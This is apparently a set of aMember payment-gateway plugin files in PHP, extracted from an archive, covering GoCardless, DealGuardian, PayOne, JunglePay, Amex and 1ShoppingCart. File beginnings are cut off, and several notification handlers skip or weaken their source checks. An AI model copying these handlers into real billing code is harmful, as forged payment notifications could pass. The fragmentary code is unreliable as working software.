up using source_id (if bill is part of a subscription) or id (if one-off payment) $gocardless_id = ( $this->request->get('source_id') ) ? $this->request->get('source_id') : $this->request->get('id'); $i = Am_Di::getInstance()->invoiceTable->findFirstByData('gocardless_id', $gocardless_id); if($i) { $this->invoice = $i; return $i->public_id; } return null; } public function autoCreate() { try { parent::autoCreate(); } catch (Am_Exception_Paysystem $e) { Am_Di::getInstance()->errorLogTable->logException($e); } } public function processValidated() { if(!$this->invoice) return; if (Am_Paysystem_Gocardless::DEBUG) Am_Di::getInstance()->errorLogTable->log("Billing IPN: Status: {$this->request->get('status')}, Invoice: {$this->invoice->public_id}"); $accept_pending_bills = $this->plugin->getConfig('accept_pending_bills'); switch ($this->request->get('status')) { case 'pending': if ($accept_pending_bills) { $this->invoice->addPayment($this); } break; case 'paid': if (!$accept_pending_bills) { $this->invoice->addPayment($this); } break; case 'failed': case 'cancelled': if ($accept_pending_bills) { $this->invoice->addVoid($this, $this->getUniqId()); } break; case 'refunded': $this->invoice->addRefund($this, $this->getUniqId()); break; case 'chargedback': $this->invoice->addChargeback($this, $this->getUniqId()); break; default: // Do nothing for withdrawn, retried break; } } } class Am_Paysystem_Transaction_Gocardless_Subscription extends Am_Paysystem_Transaction_Gocardless_Base { public function getUniqId() { return $this->request->get('id'); } public function findInvoiceId() { $i = Am_Di::getInstance()->invoiceTable->findFirstByData('gocardless_id', $this->request->get('id')); if($i) { $this->invoice = $i; return $i->public_id; } return null; } public function autoCreate() { try { parent::autoCreate(); } catch (Am_Exception_Paysystem $e) { Am_Di::getInstance()->errorLogTable->logException($e); } } public function processValidated() { if(!$this->invoice) return; if (Am_Paysystem_Gocardless::DEBUG) Am_Di::getInstance()->errorLogTable->log("Subscription IPN: Status: {$this->request->get('status')}, Invoice: {$this->invoice->public_id}"); switch ($this->request->get('status')) { case 'cancelled': case 'expired': $this->invoice->setCancelled(true); break; default: // Do nothing... we didn't really need the switch, // but futureproofing against new statuses :) break; } } } class Am_Paysystem_Transaction_Gocardless_Ipn extends Am_Paysystem_Transaction_Gocardless_Base { public function validate() { $payload = $this->request->get('payload'); $sig = $payload['signature']; unset($payload['signature']); $sign = $this->generate_query_string($payload); $hash = hash_hmac('sha256',$sign,$this->getPlugin()->getConfig('app_secret')); if(!$sig || ($sig != $hash)) throw new Am_Exception_Paysystem_TransactionSource("IPN seems to be received from unknown source, not from the paysystem"); } public function autoCreate() { return; } public function processValidated() { $payload = $this->request->get('payload'); $resource_type = $payload['resource_type']; switch ($resource_type) { case 'bill': foreach($payload['bills'] as $bill) { $request = new Am_Request($bill, $this->request->getActionName()); $transaction = new Am_Paysystem_Transaction_Gocardless_Bill($this->getPlugin(),$request, $this->response, $this->invokeArgs); $transaction->process(); } break; case 'subscription': foreach($payload['subscriptions'] as $subscription) { $request = new Am_Request($subscription, $this->request->getActionName()); $transaction = new Am_Paysystem_Transaction_Gocardless_Subscription($this->getPlugin(),$request, $this->response, $this->invokeArgs); $transaction->process(); } break; default: // do nothing... we don't handle pre-authorizations break; } } } class Am_Paysystem_Transaction_Gocardless_Thanks extends Am_Paysystem_Transaction_Incoming_Thanks { public function getUniqId() { return $this->request->get('resource_id'); } public function validateSource() { $query = http_build_query(array( 'resource_id' => $this->request->get('resource_id'), 'resource_type' => $this->request->get('resource_type'), 'resource_uri' => $this->request->get('resource_uri'), 'state' => $this->request->get('state') ), '', '&'); return $this->request->get('signature') == hash_hmac('sha256', $query, $this->plugin->getConfig('app_secret')); } public function validateTerms() { // @todo return true; } public function validateStatus() { //* Confirm customer was successfully returned to our site //* This activates the Subscription / Bill at GoCardless $request = $this->plugin->createHttpRequest(); $request->setHeader(array( 'Accept' => 'application/json', 'User-Agent' => 'gocardless-php/v0.3.3' )); $request->setAuth($this->plugin->getConfig('app_id'), $this->plugin->getConfig('app_secret')); $request->setUrl(($this->plugin->getConfig('testing') ? Am_Paysystem_Gocardless::SANDBOX_URL : Am_Paysystem_Gocardless::LIVE_URL) . '/api/v1/confirm'); $request->addPostParameter('resource_id', $this->request->get('resource_id')); $request->addPostParameter('resource_type', $this->request->get('resource_type')); $request->addPostParameter('resource_uri', $this->request->get('resource_uri')); $request->setMethod('POST'); $response = $request->send(); $response = json_decode($response->getBody(),true); //* Store the resource_id of the subscription / bill $this->invoice->data()->set('gocardless_id', $this->request->get('resource_id'))->update(); return true; } public function findInvoiceId() { return $this->request->get('state'); } public function processValidated() { $accept_pending_bills = $this->plugin->getConfig('accept_pending_bills'); // Process free trial payment... if (!doubleval($this->invoice->first_total)) { $this->isfirst = true; $this->invoice->addAccessPeriod($this); } // ... and one-off bills (NB: subscription bills handled by IPN) else if($accept_pending_bills && 'bill' == $this->request->get('resource_type')) { parent::processValidated(); } } }PK\JXpayment/deal-guardian.phpnu[addText("secret", array('class' => 'el-wide')) ->setLabel("Secret Key\n" . 'Can be found at Vendors -> ThirdParty Integrations -> aMember'); } public function __construct(Am_Di $di, array $config) { parent::__construct($di, $config); foreach ($di->paysystemList->getList() as $k => $p) { if ($p->getId() == $this->getId()) $p->setPublic(false); } $di->productTable->customFields()->add( new Am_CustomFieldText( 'dg_product_id', "DealGuardian Product ID", "ID of corresponding product from your DealGuardian account. Should be specified in this format: product_id-pricepoint_id Where product_id - is ID of product in DelaGuardian, pricepoint_id is ID of price point. If Price point doesn't matter it can be ommited.
    Example:
    Price point 1 of product # 34: 34-1
    Product #36 : 36") ); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { throw new Am_Exception_InputError("Not supported for this payment method!"); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return Am_Paysystem_Transaction_DealGuardian::create($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_REBILL; } public function canAutoCreate() { return true; } function getConfig($key = null, $default = null) { switch ($key) { case 'testing' : return false; case 'auto_create' : return true; default: return parent::getConfig($key, $default); } } function getReadme() { $url = $this->getPluginUrl('ipn'); return <<DealGuardian.Com integration 1. In plugin configuration create any alpha-numeric Secret Key. 2. Create separate products in aMember CP -> Manage Products for each corresponding product from DealGuardian.Com 3. In your DealGuardian.com account -> Vendors -> Third Party Integrations -> MEMBERSHIP SITE SCRIPTS create integration for each product which should be linked to aMember product. Set Secret Key to the same value as you set in Plugin configuration. Set URL to integration to $url 4. For each aMember product set "DealGuardian Product ID". You can get these values from your DealGuardian.com account -> Vendors Third Party Integrations screen. CUT; } protected function _afterInitSetupForm(Am_Form_Setup $form) { parent::_afterInitSetupForm($form); $form->removeElementByName($this->_configPrefix . $this->getId() . '.auto_create'); } } class Am_Paysystem_Transaction_DealGuardian extends Am_Paysystem_Transaction_Incoming { /** * @var Invoice $invoice; */ public $invoice; protected $_autoCreateMap = array( 'name_f' => 'buyer_first_name', 'name_l' => 'buyer_last_name', 'email' => 'buyer_email', 'user_external_id' => 'buyer_email', 'invoice_external_id' => array('transaction_subscription_id', 'transaction_parent_id', 'transaction_id'), ); public function getUniqId() { return $this->request->get('transaction_id'); } public function validateSource() { $hash = $this->request->get('security_hash'); $k = md5($s = $this->request->getInt('transaction_id') . $this->request->get('transaction_amount') . $this->getPlugin()->getConfig('secret')) == $hash; return $k; } public function validateStatus() { return true; } public function validateTerms() { return true; } public function autoCreateGetProducts() { $product_id = $this->request->get('product_id'); $price_point = $this->request->get('product_price_point'); if (empty($product_id)) return; $product = $this->getPlugin()->getDi()->productTable->findFirstByData('dg_product_id', $product_id."-".$price_point); if(!$product) $product = $this->getPlugin()->getDi()->productTable->findFirstByData('dg_product_id', $product_id); return $product; } function processValidated() { // Nothing to do here } static function create(Am_Paysystem_DealGuardian $plugin, Am_Mvc_Request $request, Am_Mvc_Response $response, $invokeArgs) { switch ($request->get('transaction_type')) { case 'sale' : return new Am_Paysystem_Transaction_DealGuardian_Sale($plugin, $request, $response, $invokeArgs); case 'refund' : return new Am_Paysystem_Transaction_DealGuardian_Refund($plugin, $request, $response, $invokeArgs); case 'subscr_cancel' : return new Am_Paysystem_Transaction_DealGuardian_Refund($plugin, $request, $response, $invokeArgs); default: return null; // Don;t know how to handle IPN message. } } function findInvoiceId() { return null; } } class Am_Paysystem_Transaction_DealGuardian_Sale extends Am_Paysystem_Transaction_DealGuardian { function processValidated() { $this->invoice->addPayment($this); } } class Am_Paysystem_Transaction_DealGuardian_Refund extends Am_Paysystem_Transaction_DealGuardian { function processValidated() { $this->invoice->addRefund($this, $this->request->get('transaction_parent_id')); } } class Am_Paysystem_Transaction_DealGuardian_Cancel extends Am_Paysystem_Transaction_DealGuardian { function processValidated() { $this->invoice->setCancelled(true); } }PK\billingPlanTable->customFields()->add( new Am_CustomFieldText( 'payone_product_id', 'PayOne Offer ID', 'you have to create similar offer in PayOne and enter its number here' ) ); } public function _initSetupForm(Am_Form_Setup $form) { $form->addText("aid")->setLabel('Sub-Account-ID')->addRule('required'); $form->addText("portalid")->setLabel('Portal-ID')->addRule('required'); $form->addText('secret_key', array('class' => 'el-wide')) ->setLabel('Key')->addRule('required'); $form->addSelect("testing", array(), array('options' => array( ''=>'No', '1'=>'Yes' )))->setLabel('Test Mode'); } function getSupportedCurrencies() { return array('EUR', 'AUD', 'CHF', 'DKK', 'GBP', 'NOK', 'NZD', 'SEK', 'USD'); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $u = $invoice->getUser(); $a = new Am_Paysystem_Action_Redirect(self::API_URL); /* */ $params = array( 'aid' => $this->getConfig('aid'), //Sub Account ID 'portalid' => $this->getConfig('portalid'), //Payment portal ID 'mode' => $this->getConfig('testing') ? 'test' : 'live', //Test: Test mode, Live: Live mode 'encoding' => 'UTF-8', //ISO 8859-1 (default), UTF-8 'clearingtype' => 'cc', //elv: Debit payment //cc: Credit card //vor: Prepayment //rec: Invoice //sb: Online bank transfer //wlt: e-wallet //fnc: Financing 'reference' => $invoice->public_id, 'customerid' => $invoice->user_id, 'invoiceid' => $invoice->public_id, 'param' => $invoice->public_id, 'successurl' => $this->getReturnUrl(), //URL "payment successful" (only if responsetype=REDIRECT or required by corresponding request) 'backurl' => $this->getCancelUrl() //URL "faulty payment" (only if responsetype=REDIRECT or required by corresponding request) ); //Parameter („createaccess“) $first_period = new Am_Period($invoice->first_period); $params['request'] = 'createaccess'; $params['productid'] = $invoice->getItem(0)->getBillingPlanData('payone_product_id'); // + + N..7 ID for the offer $params['amount_trail'] = $invoice->first_total * 100; // - + N..6 Total price of all items during the initial term. Must equal the sum (quantity * price) of all items for the initial term (in the smallest currency unit, e.g. Cent). $params['period_unit_trail'] = strtoupper($first_period->getUnit()); // - + Default Time unit for initial term, possible values: Y: Value in years M: Value in months D: Value in days $params['period_length_trail'] = $first_period->getCount(); // - + N..4 Duration of the initial term. Can only be used in combination with period_unit_trail. $params['id_trail'] = $invoice->getItem(0)->billing_plan_id; // + + AN..100 Item number (initial term) $params['no_trail'] = 1; // + + N..5 Quantity (initial term) $params['pr_trail'] = $invoice->first_total * 100; // + + N..7 Unit price of the item in smallest currency unit (initial term) $params['de_trail'] = $invoice->getItem(0)->item_description; // + + AN..255 Description (initial term) $params['ti_trail'] = $invoice->getItem(0)->item_title; // + + AN..100 Title (initial term) //$params['va_trail'] = ''; // - + N..4 VAT rate (% or bp) (initial term) value < 100 = percent value > 99 = basis points if($invoice->second_total>0){ $second_period = new Am_Period($invoice->second_period); $params['amount_recurring'] = $invoice->second_total * 100; // - + N..6 Total price of all items during the subsequent term. Must equal the sum (quantity * price) of all items for the subsequent term (in the smallest currency unit, e.g. Cent). $params['period_unit_recurring'] = strtoupper($second_period->getUnit()); // - + Default Time unit for subsequent term, possible values: Y: Value in years M: Value in months D: Value in days N: only if no subsequent term $params['period_length_recurring'] = $second_period->getCount(); // - + N..4 Duration of the subsequent term. Can only be used in combination with period_unit_recurring. $params['id_recurring'] = $invoice->getItem(0)->billing_plan_id; // - + AN..100 Item number (subsequent term) $params['no_recurring'] = 1; // - + N..5 Quantity (subsequent term) $params['pr_recurring'] = $invoice->second_total * 100; // - + N..7 Unit price of the item in smallest currency unit (subsequent term) $params['de_recurring'] = $invoice->getItem(0)->item_description; // - + AN..255 Description (subsequent term) $params['ti_recurring'] = $invoice->getItem(0)->item_title; // - + AN..100 Title (subsequent term) //$params['va_recurring'] = ''; // - + N..4 VAT rate (% or bp) (subsequent term) value < 100 = percent value > 99 = basis points ///// } /* //Parameter ( „pre-/authorization“ ) $params['request'] = 'authorization'; $params['amount'] = $invoice->first_total * 100; $params['currency'] = $invoice->currency; $params['it'] = 'goods'; //For BSV: Item type $params['id'] = ''; //Your item no. $params['pr'] = $invoice->first_total * 100; //Price in Cent $params['no'] = 1; //Quantity $params['de'] = ''; //Item description //$params['va'] = ''; //VAT (optional) ///// */ ksort($params); $a->hash = strtolower(md5(implode('', $params) . $this->getConfig('secret_key'))); //Hash value (see chapter 3.1.4) //Parameter ( personal data ) $params['firstname'] = $u->name_f; //AN..50 First name $params['lastname'] = $u->name_l; //AN..50 Surname //$params['company'] = ''; //AN..50 Company $params['street'] = $u->street; //AN..50 Street $params['zip'] = $u->zip; //AN..10 Postcode $params['city'] = $u->city; //AN..50 City $params['country'] = $u->country; //Default Country (ISO 3166) $params['email'] = $u->email; //AN..50 Email address $params['language'] = 'en'; //Language indicator (ISO 639) //If the language is not transferred, the browser //language will be used. For a non-supported //language, English will be used. ///// foreach ($params as $k=>$v) $a->addParam ($k, $v); $result->setAction($a); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Payone($this, $request, $response, $invokeArgs); } public function createThanksTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Payone_Thanks($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_REBILL; } function getReadme() { return <<Payone payment plugin configuration 1. Configure Portal-ID, Sub-Account-ID and Key at aMember CP -> Setup/Configuration -> Payone You can get IDs and Key from Payone Merchant Interface -> Configuration -> Payment Portals Click 'Edit' link near to an existing Portal or create new one using 'Add Portal' button. Then navigate to 'API-Parameters' tab. 2. Configure 'SessionStatus URL' and 'TransactionStatus URL' at Payone Merchant Interface -> Configuration -> Payment Portals: Advanced to the following URL: %root_surl%/payment/payone/ipn 3. Configure 'PayOne Offer ID' at aMember CP -> Manage Products -> Edit Set it up first at Payone Merchant Interface -> Configuration -> Payment Portals: Offers CUT; } } class Am_Paysystem_Transaction_Payone_Thanks extends Am_Paysystem_Transaction_Incoming { public function findInvoiceId() { return $this->request->get('param'); } public function getUniqId() { return $this->request->get('txid'); } public function validateSource() { if ($this->getPlugin()->getConfig('secret_key') != $this->request->get('key')) return false; else return true; } public function validateStatus() { return ($this->request->get('txaction ') == 'paid'); } public function validateTerms() { return true; } public function getInvoice() { return $this->invoice; } } class Am_Paysystem_Transaction_Payone extends Am_Paysystem_Transaction_Incoming { function __construct(Am_Paysystem_Abstract $plugin, Am_Mvc_Request $request, Am_Mvc_Response $response, $invokeArgs) { parent::__construct($plugin, $request, $response, $invokeArgs); //SessionStatus. As a reply to the request, the string "SSOK" is expected. //TransactionStatus. As a reply to the request, the string "TSOK" is expected. if ($this->request->get('txid') || $this->request->get('txaction')) print "TSOK"; else print "SSOK"; } public function findInvoiceId() { $param = $this->request->get('param'); if (is_array($param)) $param = $param[1]; return $param; } public function getUniqId() { $txid = $this->request->get('txid'); if (is_array($txid)) $txid = $txid[1]; return $txid; } public function validateSource() { $params = $this->request->getParams(); unset($params['key']); ksort($params); $hash = strtolower(md5(implode('', $params) . $this->getPlugin()->getConfig('secret_key'))); //The SessionStatus/TransactionStatus is sent from the following IP addresses: 213.178.72.196, or 213.178.72.197 as well as 217.70.200.0/24. $this->_checkIp(<<request->get('key')) // return false; return true; } public function validateStatus() { if($this->request->get('mode') == 'test' && !$this->getPlugin()->getConfig('testing')){ throw new Am_Exception_Paysystem_TransactionInvalid('Test IPN received but test mode is not enabled'); } return true; } public function validateTerms() { return true; } public function processValidated() { $action = $this->request->get('action'); if (is_array($action)) $action = $action[1]; $txaction = $this->request->get('txaction'); if (is_array($txaction)) $txaction = $txaction[1]; //if ($action == 'add') if ($txaction == 'appointed') // 'paid' { $this->invoice->addPayment($this); } if ($txaction == 'refund') { $this->invoice->addRefund($this, Am_Di::getInstance()->invoicePaymentTable->getLastReceiptId($this->invoice->pk())); } } } PK\Bmkkpayment/junglepay/junglepay.phpnu[_template = $template; $this->_path = $path; } public function process(Am_Mvc_Controller $action = null) { $action->view->addBasePath($this->_path); $action->view->assign($this->getVars()); $action->renderScript($this->_template); throw new Am_Exception_Redirect; } } class Am_Paysystem_Junglepay extends Am_Paysystem_Abstract { const PLUGIN_STATUS = self::STATUS_BETA; const PLUGIN_DATE = '$Date$'; const PLUGIN_REVISION = '5.0.6'; const URL_ACC = 'http://my.junglepay.com/dashboard'; const URL_INSTRUCTION = 'http://wiki.txtnation.com/wiki/JunglePay_Widget_Integration_Guide'; const JP_CAMPAIGN_ID= 'junglepay-campaign-id'; protected $defaultTitle = "JunglePay"; protected $defaultDescription = "SMS payments"; public function _initSetupForm(Am_Form_Setup $form) { $form->setTitle('JunglePay'); $form->addText('company_code') ->setLabel('Your company code from txtNation') ->addRule('required'); } public function isConfigured() { return (bool) $this->getConfig('company_code', false); } public function init() { parent::init(); $this->getDi()->billingPlanTable->customFields() ->add(new Am_CustomFieldText(self::JP_CAMPAIGN_ID, "Junglepay campaign ID", null, null, array('size' => 40))); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { if(count($invoice->getItems()) > 1) throw new Am_Exception_InternalError('Only one product at invoice is allowed'); $bp = $this->getDi()->billingPlanTable->load($invoice->getItem(0)->billing_plan_id); if(!($campaignId = $bp->data()->get(self::JP_CAMPAIGN_ID))) throw new Am_Exception_InternalError("Product #{$invoice->getItem(0)->item_id} cannot be paid by junglepay - has no Campaign ID"); $a = new Am_Paysystem_Action_HtmlTemplate_Junglepay($this->getDir(), 'payment-junglepay-iframe.phtml'); $a->wkey = $campaignId; $a->refererId = $invoice->public_id; $result->setAction($a); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Junglepay($this, $request, $response, $invokeArgs); } public function thanksAction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { $log = $this->logRequest($request, 'POSTBACK [thanks]'); if($this->invoice = $this->getDi()->invoiceTable->findFirstByPublicId($request->getFiltered('referer'))) { $log->setInvoice($this->invoice)->update(); $response->setRedirect($this->getReturnUrl()); return; } throw new Am_Exception_InputError("Invoice not found"); } public function getReadme() { $ipn = $this->getPluginUrl('ipn'); $thanks = $this->getPluginUrl('thanks'); $acc = self::URL_ACC; $instruction = self::URL_INSTRUCTION; return <<Junglepay payment plugin readme: Go to your Jungle Pay account ($acc) and create needed number of campaigns using this instruction here $instruction (one aMember product - one JunglePay campaign): At Step 6 - "Tool type" select Javascript. At Step 7 - "Notifications" set: Post URL is $ipn Destination (Password) URL: $thanks After Step 6 - you will see "Your Campaign ID", copy this string to "Junglepay campaign ID" option at aMember product settings page and save it CUT; } } class Am_Paysystem_Transaction_Junglepay extends Am_Paysystem_Transaction_Incoming { protected $vars; public function __construct(Am_Paysystem_Abstract $plugin, Am_Mvc_Request $request, Am_Mvc_Response $response, $invokeArgs) { parent::__construct($plugin, $request, $response, $invokeArgs); $this->vars = $this->request->getRequestOnlyParams(); } public function findInvoiceId() { return $this->request->getFiltered('refererid'); } public function getUniqId() { return $this->request->getInt('transactionID'); } public function validateStatus() { return in_array($this->vars['action'], array('mp_confirm_password', 'mp_new_password')); } public function validateTerms() { return true; } public function validateSource() { if($this->getPlugin()->getConfig('company_code') != $this->request->getFiltered('cc')) throw new Am_Exception_Paysystem_TransactionInvalid("Wrong company code [{$this->request->get('cc')}]"); return true; } public function processValidated() { if($this->vars['action'] =='mp_confirm_password') { parent::processValidated(); if(!$this->invoice->comment && ($n = $this->request->get('number')) && ($p = $this->request->get('passwd'))) $this->invoice->updateQuick('comment', "SMS num/pass: $n/$p"); } } } PK\ zz8payment/junglepay/scripts/payment-junglepay-iframe.phtmlnu[setLayout('layout.phtml'); ?> PK\<payment/amex-hpp.phpnu[addText('merchant') ->setLabel("Merchant ID\n" . 'The unique identifier issued to you by your payment provider') ->addRule('required'); $form->addPassword('password') ->setLabel('API Password') ->addRule('required'); } public function isConfigured() { return $this->getConfig('merchant') && $this->getConfig('password'); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $req = new Am_HttpRequest(sprintf('https://gateway-japa.americanexpress.com/api/rest/version/23/merchant/%s/session', $this->getConfig('merchant')), Am_HttpRequest::METHOD_POST); $req->setAuth('merchant.' . $this->getConfig('merchant'), $this->getConfig('password')); $req->setBody(json_encode(array( 'apiOperation' => 'CREATE_PAYMENT_PAGE_SESSION', 'order' => array( 'id' => $invoice->public_id, 'amount' => $invoice->first_total, 'currency' => $invoice->currency ), 'paymentPage' => array( 'cancelUrl' => $this->getCancelUrl(), 'returnUrl' => $this->getPluginUrl('thanks') ) ))); $this->logRequest($req); $res = $req->send(); $this->logResponse($res); if ($res->getStatus() != 201) { $result->setFailed(sprintf('Incorrect Responce Status From Paysystem [%s]', $res->getStatus())); return; } $msg = json_decode($res->getBody(), true); if ($msg['result'] == 'ERROR') { $result->setFailed($msg['error']['explanation']); return; } $invoice->data()->set(self::DATA_KEY, $msg['successIndicator'])->update(); $a = new Am_Paysystem_Action_Redirect(self::URL); $a->{'merchant'} = $this->getConfig('merchant'); $a->{'order.description'} = $invoice->getLineDescription(); $a->{'paymentPage.merchant.name'} = $this->getDi()->config->get('site_title'); $a->{'session.id'} = $msg['session']['id']; $this->logRequest($a); $result->setAction($a); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return null; } public function createThanksTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_AmexHpp_Thanks($this, $request, $response, $invokeArgs); } } class Am_Paysystem_Transaction_AmexHpp_Thanks extends Am_Paysystem_Transaction_Incoming_Thanks { public function findInvoiceId() { $invoice = $this->getPlugin()->getDi()->invoiceTable->findFirstByData(Am_Paysystem_AmexHpp::DATA_KEY, $this->request->getParam('resultIndicator')); if ($invoice) return $invoice->public_id; } public function getUniqId() { return $this->request->get('resultIndicator'); } public function validateStatus() { return true; } public function validateTerms() { return true; } public function validateSource() { return true; } } PK\,7,7payment/1shoppingcart.phpnu[addInteger('merchant_id', array('size' => 20)) ->setLabel('Your Merchant ID#'); $form->addPassword('password')->setLabel("Postback Password\n" . 'Should be the same as in your 1SC account'); $form->addText('key', array('size' => 30)) ->setLabel("API Key\n" . '1SC -> My Account -> API Settings -> Your Current Merchant API Key'); $form->addAdvCheckbox('skip_amount_check') ->setLabel("Skip Amount Check\n" . 'Plugin will not check amount of incomming transaction. This option makes it possible to use coupons on 1SC'); $form->addText('api_resend', array('size' => 60)) ->setLabel("Resend API Requests\n" . 'Specify url of third-party script that should receive API notifications as well'); } public function init() { parent::init(); $this->getDi()->billingPlanTable->customFields() ->add(new Am_CustomFieldText('1shoppingcart_id', "1ShoppingCart Product#", "for any products you have to create corresponding product in 1SC admin panel and enter the id# here")); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $a = new Am_Paysystem_Action_Redirect(self::URL); $result->setAction($a); $a->MerchantID = $this->config['merchant_id']; $a->ProductID = $invoice->getItem(0)->getBillingPlanData('1shoppingcart_id'); $a->AMemberID = $invoice->invoice_id; $a->PostBackURL = $this->getDi()->url("payment/1shoppingcart/ipn",null,false,2); $a->clear = 1; $a->filterEmpty(); $result->setAction($a); } public function directAction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { if($request->getActionName() == 'api' && $api_resend = $this->getConfig('api_resend')){ try{ $client = new Am_HttpRequest($api_resend, Am_HttpRequest::METHOD_POST); $client->setHeader('Content-type', 'text/xml'); $client->setBody($request->getRawBody()); $response = $client->send(); } catch(Exception $e) { $this->getDi()->errorLogTable->logException($e); } } parent::directAction($request, $response, $invokeArgs); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { if ($request->getActionName() == 'api') return new Am_Paysystem_Transaction_1shoppingcart_api($this, $request, $response, $invokeArgs); else return new Am_Paysystem_Transaction_1shoppingcart($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_REBILL; } public function getReadme() { $thanksURL = $this->getDi()->url('thanks',null,false,2); return <<1ShoppingCart payment plugin configuration 1. Enable "1shoppingcart" payment plugin at aMember CP->Setup->Plugins 2. Configure "1shoppingcart" payment plugin at aMember CP -> Setup/Configuration -> 1ShoppingCart Make sure you set the same API Key in aMember CP and 1ShoppingCart Merchants CP -> My Account -> API Settings -> Your Current Merchant API Key 3. Create equivalents for all aMember products in 1ShoppingCart Merchants CP. Make sure it has the same subscription terms (period, price) as aMember Products. Set "Thanks URL" for all 1ShoppingCart products to $thanksURL Write down product# of all 1ShoppingCart products. 4. Visit aMember CP -> Manage Products, click "Edit" on each product and enter "1ShoppingCart Product#" for each corresponding billing plan, then click "Save". 5. Try your integration - go to aMember signup page, and try to make new signup. ---------------- In case of any issues with IPN Notifications (if members is not activated in aMember automatically) Please try to click 'Repost Order To aMember' link at your 1SC account -> Orders -> Order Details and check is notification receved at aMember CP -> Utilites -> Logs ---------------- 1ShoppingCart in front of aMember configuration instructions can be found here: http://www.amember.com/docs/1ShoppingCart_in_front_of_aMember CUT; } function findOrder($order_id){ return $this->getDi()->invoicePaymentTable->findFirstBy(array('transaction_id' => $order_id, 'paysys_id' => $this->getId())); } } class Am_Paysystem_Transaction_1shoppingcart_api extends Am_Paysystem_Transaction_Incoming { protected $_xml; protected $_order; protected $_client; const APIURL = 'https://www.mcssl.com/API/'; function __construct(Am_Paysystem_Abstract $plugin, Am_Mvc_Request $request, Am_Mvc_Response $response, $invokeArgs) { parent::__construct($plugin, $request, $response, $invokeArgs); $str = $request->getRawBody(); $this->_xml = simplexml_load_string($str); if (!$this->_xml) throw new Am_Exception_Paysystem_TransactionInvalid('Invalid xml received from 1SC: ' . $str); $this->_order = $this->apiRequest('Orders', (string) $this->_xml->Token); $this->_client = $this->apiRequest('Clients', (string) $this->_order->OrderInfo->ClientId); } function apiRequest($table, $value) { $url = self::APIURL . $this->getPlugin()->getConfig('merchant_id') . "/" . $table . "/" . $value; try { $r = new Am_HttpRequest($url, Am_HttpRequest::METHOD_POST); $r->setBody("" . $this->getPlugin()->getConfig('key') . ""); $resp = $r->send()->getBody(); $xml = simplexml_load_string($resp); if (!$xml) throw new Am_Exception_Paysystem_TransactionInvalid('1SC API response is not a valid XML:' . $resp); if ((string) $xml->attributes()->success != 'true') throw new Am_Exception_Paysystem_TransactionInvalid('1SC API response is not sucessfull: ' . $resp); } catch (Exception $e) { Am_Di::getInstance()->errorLogTable->logException($e); return null; } return $xml; } public function autoCreateGetProducts() { $products = array(); foreach ($this->_order->OrderInfo->LineItems->LineItemInfo as $l) { if ($pid = (string) $l->ProductId) $pl = Am_Di::getInstance()->billingPlanTable->findFirstByData('1shoppingcart_id', $pid); if (!$pl) continue; $p = $pl->getProduct(); if ($p) $products[] = $p; } return $products; } public function findInvoiceId() { return $this->generateInvoiceExternalId(); } public function fetchUserInfo() { $countryRecord = Am_Di::getInstance()->CountryTable->findFirstBy(array( 'title' => (string) $this->_client->ClientInfo->CountryName )); if ($countryRecord && $countryRecord->isLoaded()) { $country = $countryRecord->country; $stateRecord = Am_Di::getInstance()->StateTable->findFirstBy( array( 'title' => (string) $this->_client->ClientInfo->StateName, 'country' => $countryRecord->country )); if ($stateRecord && $stateRecord->isLoaded()) $state = $stateRecord->state; } else { $country = $state = ''; } return array( 'name_f' => (string) $this->_client->ClientInfo->FirstName, 'name_l' => (string) $this->_client->ClientInfo->LastName, 'street' => (string) $this->_client->ClientInfo->Address1, 'city' => (string) $this->_client->ClientInfo->City, 'zip' => (string) $this->_client->ClientInfo->Zip, 'email' => (string) $this->_client->ClientInfo->Email, 'country' => $country, 'state' => $state, 'phone' => (string) $this->_client->ClientInfo->Phone ); } function generateUserExternalId(array $userInfo) { return (string) $this->_client->ClientInfo->Id; } public function generateInvoiceExternalId() { $roid = (string) $this->_order->OrderInfo->RecurringOrderId; return ($roid ? $roid : $this->getUniqId()); } function validateSource() { if(!((bool) $this->_order)) return false; if($this->getPlugin()->findOrder($order_id = $this->getUniqId())) throw new Am_Exception_Paysystem_TransactionAlreadyHandled('Transaction '.$order_id.' is already handled'); return true; } public function getUniqId() { return (string) $this->_order->OrderInfo->Id; } public function validateStatus() { return (((string) $this->_order->OrderInfo->OrderStatusType) == 'Accepted'); } public function validateTerms() { return true; } public function processValidated() { if(floatval($this->_order->OrderInfo->GrandTotal) == 0) $this->invoice->addAccessPeriod($this); else $this->invoice->addPayment($this); } function setInvoiceLog(InvoiceLog $log) { parent::setInvoiceLog($log); $this->getPlugin()->logOther('1SC API NOTIFICATION', $this->_xml); $this->getPlugin()->logOther('1SC ORDER', $this->_order->asXML()); $this->getPlugin()->logOther('1SC CLIENT', $this->_client->asXML()); } } class Am_Paysystem_Transaction_1shoppingcart extends Am_Paysystem_Transaction_Incoming { const START_RECURRING = 'start_recurring'; const REBILL = 'rebill'; const PAYMENT = 'payment'; const RECURRING_EOT = 'recurring_eot'; function validateSource() { $vars = $this->request->getPost(); $sign = $vars['VerifySign']; unset($vars['VerifySign']); $vars['PostbackPassword'] = $this->plugin->getConfig('password'); $str = 